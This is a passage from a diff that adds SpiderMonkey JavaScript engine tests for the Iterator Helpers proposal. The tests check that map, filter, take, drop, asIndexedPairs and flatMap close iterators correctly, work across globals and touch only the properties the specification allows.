+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return new Proxy({done: false}, {get: (target, key, receiver) => {
+ if (key === 'value')
+ throw new TestError();
+ return 0;
+ }});
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+assertThrowsInstanceOf(() => iterator.forEach(x => x), TestError);
+assertEq(iterator.closed, false, 'iterator remains unclosed');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/generator-methods-throw-on-iterator-helpers.js b/js/src/tests/non262/Iterator/prototype/generator-methods-throw-on-iterator-helpers.js
new file mode 100644
index 0000000000..f684be43fb
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/generator-methods-throw-on-iterator-helpers.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+const generatorProto = Object.getPrototypeOf(
+ Object.getPrototypeOf(
+ (function *() {})()
+ )
+);
+
+const iteratorHelper = [0].values().map(x => x);
+
+assertThrowsInstanceOf(() => generatorProto.next.call(iteratorHelper), TypeError);
+assertThrowsInstanceOf(() => generatorProto.return.call(iteratorHelper), TypeError);
+assertThrowsInstanceOf(() => generatorProto.throw.call(iteratorHelper), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/iterator-helper-methods-throw-on-generators.js b/js/src/tests/non262/Iterator/prototype/iterator-helper-methods-throw-on-generators.js
new file mode 100644
index 0000000000..e074d7e580
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/iterator-helper-methods-throw-on-generators.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+const iteratorHelperProto = Object.getPrototypeOf([].values().map(x => x));
+
+function *gen() {
+ yield 1;
+}
+
+assertThrowsInstanceOf(() => iteratorHelperProto.next.call(gen()), TypeError);
+assertThrowsInstanceOf(() => iteratorHelperProto.return.call(gen()), TypeError);
+assertThrowsInstanceOf(() => iteratorHelperProto.throw.call(gen()), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/iterator-helpers-from-other-global.js b/js/src/tests/non262/Iterator/prototype/iterator-helpers-from-other-global.js
new file mode 100644
index 0000000000..d18bd8f00f
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/iterator-helpers-from-other-global.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+class TestError extends Error {}
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 'value'};
+ }
+
+ closed = false;
+ return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+function checkIterResult({done, value}, expectedDone, expectedValue) {
+ assertEq(done, expectedDone);
+ assertEq(Array.isArray(value) ? value[1] : value, expectedValue);
+}
+
+const otherGlobal = newGlobal({newCompartment: true});
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", x => [x]],
+];
+
+for (const [method, arg] of methods) {
+ const {next: otherNext} = Object.getPrototypeOf(
+ new otherGlobal.Array().values()[method](arg)
+ );
+ const iterator = new TestIterator();
+ const helper = iterator[method](arg);
+ checkIterResult(otherNext.call(helper), false, 'value');
+}
+
+for (const [method, arg] of methods) {
+ const {return: otherReturn} = Object.getPrototypeOf(
+ new otherGlobal.Array().values()[method](arg)
+ );
+ const iterator = new TestIterator();
+ const helper = iterator[method](arg);
+ assertEq(iterator.closed, false);
+ checkIterResult(otherReturn.call(helper), true, undefined);
+ assertEq(iterator.closed, true);
+}
+
+for (const [method, arg] of methods) {
+ const {throw: otherThrow} = Object.getPrototypeOf(
+ new otherGlobal.Array().values()[method](arg)
+ );
+ const iterator = new TestIterator();
+ const helper = iterator[method](arg);
+ assertThrowsInstanceOf(otherThrow.bind(helper, new TestError()), TestError);
+ checkIterResult(helper.next(), true, undefined);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-from-other-global.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-from-other-global.js
new file mode 100644
index 0000000000..e6235ed171
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-from-other-global.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+const otherIteratorProto = newGlobal({newCompartment: true}).Iterator.prototype;
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", x => [x]],
+];
+
+// Use the lazy Iterator methods from another global on an iterator from this global.
+for (const [method, arg] of methods) {
+ const iterator = [1, 2, 3].values();
+ const helper = otherIteratorProto[method].call(iterator, arg);
+
+ for (const expected of [1, 2, 3]) {
+ const {done, value} = helper.next();
+ assertEq(done, false);
+ assertEq(Array.isArray(value) ? value[1] : value, expected);
+ }
+
+ const {done, value} = helper.next();
+ assertEq(done, true);
+ assertEq(value, undefined);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-handle-empty-iterators.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-handle-empty-iterators.js
new file mode 100644
index 0000000000..e6df2758ad
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-handle-empty-iterators.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods handle empty iterators.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class EmptyIterator extends Iterator {
+ next() {
+ return {done: true};
+ }
+}
+
+const emptyIterator1 = new EmptyIterator();
+const emptyIterator2 = [].values();
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ for (const iterator of [emptyIterator1, emptyIterator2]) {
+ const result = method(iterator).next();
+ assertEq(result.done, true);
+ assertEq(result.value, undefined);
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-interleaved.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-interleaved.js
new file mode 100644
index 0000000000..0edc3cd467
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-interleaved.js
@@ -0,0 +1,62 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% method calls can be interleaved.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ value = 0;
+ next() {
+ return {done: false, value: this.value++};
+ }
+}
+
+function unwrapResult(result) {
+ // Unwrap the asIndexedPair return values.
+ while (Array.isArray(result.value)) {
+ result.value = result.value[1];
+ }
+ return result;
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(2),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const firstMethod of methods) {
+ for (const secondMethod of methods) {
+ const iterator = new TestIterator();
+ const firstHelper = firstMethod(iterator);
+ const secondHelper = secondMethod(iterator);
+
+ let firstResult = unwrapResult(firstHelper.next());
+ assertEq(firstResult.done, false);
+ assertEq(firstResult.value, 0);
+
+ let secondResult = unwrapResult(secondHelper.next());
+ assertEq(secondResult.done, false);
+ assertEq(secondResult.value, 1);
+
+ firstResult = unwrapResult(firstHelper.next());
+ assertEq(firstResult.done, false);
+ assertEq(firstResult.value, 2);
+
+ secondResult = unwrapResult(secondHelper.next());
+ assertEq(secondResult.done, false);
+ assertEq(secondResult.value, 3);
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-call-throws.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-call-throws.js
new file mode 100644
index 0000000000..f81e9280ce
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-call-throws.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods close the iterator if callback throws.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+function fn() {
+ throw new TestError();
+}
+const methods = [
+ iter => iter.map(fn),
+ iter => iter.filter(fn),
+ iter => iter.flatMap(fn),
+];
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ assertEq(iter.closed, false);
+ assertThrowsInstanceOf(() => method(iter).next(), TestError);
+ assertEq(iter.closed, true);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js
new file mode 100644
index 0000000000..361b800404
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods close the iterator if `yield` throws.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+ const iteratorHelper = method(iterator);
+ iteratorHelper.next();
+ assertThrowsInstanceOf(() => iteratorHelper.throw(new TestError()), TestError);
+ assertEq(iterator.closed, true);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js
new file mode 100644
index 0000000000..4aceacebb6
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods don't close the iterator if `.next` call throws.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ throw new TestError();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const iterator = new TestIterator();
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ assertEq(iterator.closed, false);
+ assertThrowsInstanceOf(() => method(iterator).next(), TestError);
+ assertEq(iterator.closed, false);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js
new file mode 100644
index 0000000000..1ca88ca9b5
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js
@@ -0,0 +1,48 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods don't close the iterator if `value` throws.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return {
+ get value() {
+ throw new TestError();
+ }
+ };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const iterator = new TestIterator();
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ assertEq(iterator.closed, false);
+ assertThrowsInstanceOf(() => method(iterator).next(), TestError);
+ assertEq(iterator.closed, false);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js
new file mode 100644
index 0000000000..d6b3f14277
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: true, value: 'value'};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ const iterator = method(new TestIterator());
+ const result = iterator.next();
+ assertEq(result.done, true);
+ assertEq(result.value, undefined);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-return-close-iterator-once.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-return-close-iterator-once.js
new file mode 100644
index 0000000000..34c165b86d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-return-close-iterator-once.js
@@ -0,0 +1,60 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `.return()` on a lazy %Iterator.prototype% method multiple times closes the source iterator once.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closeCount = 0;
+ return(value) {
+ this.closeCount++;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+// Call `return` after stepping the iterator once:
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+ iterHelper.next();
+
+ assertEq(iter.closeCount, 0);
+ iterHelper.return();
+ assertEq(iter.closeCount, 1);
+ iterHelper.return();
+ assertEq(iter.closeCount, 1);
+}
+
+// Call `return` before stepping the iterator:
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closeCount, 0);
+ iterHelper.return();
+ assertEq(iter.closeCount, 1);
+ iterHelper.return();
+ assertEq(iter.closeCount, 1);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js
new file mode 100644
index 0000000000..6c044cbd89
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js
@@ -0,0 +1,62 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `.throw()` on a lazy %Iterator.prototype% method multiple times closes the source iterator once.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closeCount = 0;
+ return(value) {
+ this.closeCount++;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+// Call `throw` after stepping the iterator once:
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+ iterHelper.next();
+
+ assertEq(iter.closeCount, 0);
+ assertThrowsInstanceOf(() => iterHelper.throw(new TestError()), TestError);
+ assertEq(iter.closeCount, 1);
+ assertThrowsInstanceOf(() => iterHelper.throw(new TestError()), TestError);
+ assertEq(iter.closeCount, 1);
+}
+
+// Call `throw` before stepping the iterator:
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closeCount, 0);
+ assertThrowsInstanceOf(() => iterHelper.throw(new TestError()), TestError);
+ assertEq(iter.closeCount, 1);
+ assertThrowsInstanceOf(() => iterHelper.throw(new TestError()), TestError);
+ assertEq(iter.closeCount, 1);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-pass-through-lastValue.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-pass-through-lastValue.js
new file mode 100644
index 0000000000..a7195b38e4
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-pass-through-lastValue.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+class TestIterator extends Iterator {
+ next(value) {
+ return {done: false, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(2),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+];
+
+for (const method of methods) {
+ const iterator = new TestIterator();
+ const iteratorHelper = method(iterator);
+ iteratorHelper.next();
+ let result = iteratorHelper.next('last value');
+ assertEq(result.done, false);
+ // Array.isArray is used to make sure we unwrap asIndexedPairs results.
+ assertEq(Array.isArray(result.value) ? result.value[1] : result.value, 'last value');
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-pass-value-through-chain.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-pass-value-through-chain.js
new file mode 100644
index 0000000000..553e6934f7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-pass-value-through-chain.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+class TestIterator extends Iterator {
+ next(value) {
+ return {done: false, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(2),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+];
+
+for (const outerMethod of methods) {
+ for (const innerMethod of methods) {
+ const iterator = new TestIterator();
+ const iteratorChain = outerMethod(innerMethod(iterator));
+ iteratorChain.next();
+ let result = iteratorChain.next('last value');
+ assertEq(result.done, false);
+ // Unwrap the asIndexedPair return values.
+ while (Array.isArray(result.value)) {
+ result.value = result.value[1];
+ }
+ assertEq(result.value, 'last value');
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-proxy-accesses.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-proxy-accesses.js
new file mode 100644
index 0000000000..d391a4f199
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-proxy-accesses.js
@@ -0,0 +1,70 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods access specified properties only.
+info: >
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ value = 0;
+ next() {
+ if (this.value < 2)
+ return { done: false, value: this.value++ };
+ return { done: true, value: undefined };
+ }
+}
+
+const handlerProxy = log => new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ const target = args[0];
+ const item = Reflect[key](...args);
+
+ log.push(`${key}: ${args.filter(x => typeof x != 'object').map(x => x.toString())}`);
+
+ return item;
+ },
+});
+
+const methods = [
+ [iter => iter.map(x => x), 'map'],
+ [iter => iter.filter(x => true), 'filter'],
+ [iter => iter.take(4), 'take'],
+ [iter => iter.drop(0), 'drop'],
+ [iter => iter.asIndexedPairs(), 'asIndexedPairs'],
+ [iter => iter.flatMap(x => [x]), 'flatMap'],
+];
+
+for (const method of methods) {
+ const log = [];
+ const iteratorProxy = new Proxy(new TestIterator(), handlerProxy(log));
+ const iteratorHelper = method[0](iteratorProxy);
+ const methodName = method[1];
+
+ iteratorHelper.next();
+ iteratorHelper.next();
+ iteratorHelper.next();
+ assertEq(iteratorHelper.next().done, true);
+
+ assertEq(
+ log.join('\n'),
+ `get: ${methodName}
+get: next
+get: value
+get: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+set: value,1
+get: value
+get: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+set: value,2
+get: value`
+ )
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-reentry-not-close-iterator.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-reentry-not-close-iterator.js
new file mode 100644
index 0000000000..da1e4c8c29
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-reentry-not-close-iterator.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+const methods = [
+ [iter => iter.map, x => x],
+ [iter => iter.filter, x => true],
+ [iter => iter.flatMap, x => [x]],
+];
+
+for (const method of methods) {
+ const iter = [1, 2, 3].values();
+ const iterMethod = method[0](iter);
+ let iterHelper;
+ let reentered = false;
+ iterHelper = iterMethod.call(iter, x => {
+ if (x == 2) {
+ // Reenter the currently running generator.
+ reentered = true;
+ assertThrowsInstanceOf(() => iterHelper.next(), TypeError);
+ }
+ return method[1](x);
+ });
+
+ let result = iterHelper.next();
+ assertEq(result.value, 1);
+ assertEq(result.done, false);
+
+ assertEq(reentered, false);
+ result = iterHelper.next();
+ assertEq(reentered, true);
+ assertEq(result.value, 2);
+ assertEq(result.done, false);
+
+ result = iterHelper.next();
+ assertEq(result.value, 3);
+ assertEq(result.done, false);
+
+ result = iterHelper.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-return-closes-iterator.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-return-closes-iterator.js
new file mode 100644
index 0000000000..45fa3105df
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-return-closes-iterator.js
@@ -0,0 +1,58 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `.return()` on a lazy %Iterator.prototype% method closes the source iterator.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+ iterHelper.next();
+
+ assertEq(iter.closed, false);
+ const result = iterHelper.return(0);
+ assertEq(iter.closed, true);
+ assertEq(result.done, true);
+ assertEq(result.value, 0);
+}
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closed, false);
+ const result = iterHelper.return(0);
+ assertEq(iter.closed, true);
+ assertEq(result.done, true);
+ assertEq(result.value, 0);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-return-new-iterator-result.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-return-new-iterator-result.js
new file mode 100644
index 0000000000..407782fae5
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-return-new-iterator-result.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy Iterator Helper methods return new iterator result objects.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+const iterResult = {done: false, value: 1, testProperty: 'test'};
+class TestIterator extends Iterator {
+ next() {
+ return iterResult;
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+// Call `return` before stepping the iterator:
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+ const result = iterHelper.next();
+ assertEq(result == iterResult, false);
+ assertEq(result.testProperty, undefined);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-closes-iterator-before-next.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-closes-iterator-before-next.js
new file mode 100644
index 0000000000..d3197fc107
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-closes-iterator-before-next.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `.throw()` on a lazy %Iterator.prototype% method closes the source iterator.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closed, false);
+ assertThrowsInstanceOf(() => iterHelper.throw(new TestError()), TestError);
+ assertEq(iter.closed, true);
+
+ const result = iterHelper.next();
+ assertEq(result.done, true);
+ assertEq(result.value, undefined);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js
new file mode 100644
index 0000000000..22d9bbd48a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods throw eagerly when `next` is non-callable.
+info: >
+ Iterator Helpers proposal 1.1.1
+features: [iterator-helpers]
+---*/
+
+const methods = [
+ next => Iterator.prototype.map.bind({next}, x => x),
+ next => Iterator.prototype.filter.bind({next}, x => x),
+ next => Iterator.prototype.take.bind({next}, 1),
+ next => Iterator.prototype.drop.bind({next}, 0),
+ next => Iterator.prototype.asIndexedPairs.bind({next}),
+ next => Iterator.prototype.flatMap.bind({next}, x => [x]),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(method(0), TypeError);
+ assertThrowsInstanceOf(method(false), TypeError);
+ assertThrowsInstanceOf(method(undefined), TypeError);
+ assertThrowsInstanceOf(method(null), TypeError);
+ assertThrowsInstanceOf(method(''), TypeError);
+ assertThrowsInstanceOf(method(Symbol('')), TypeError);
+ assertThrowsInstanceOf(method({}), TypeError);
+ assertThrowsInstanceOf(method([]), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js
new file mode 100644
index 0000000000..7c31a21a38
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
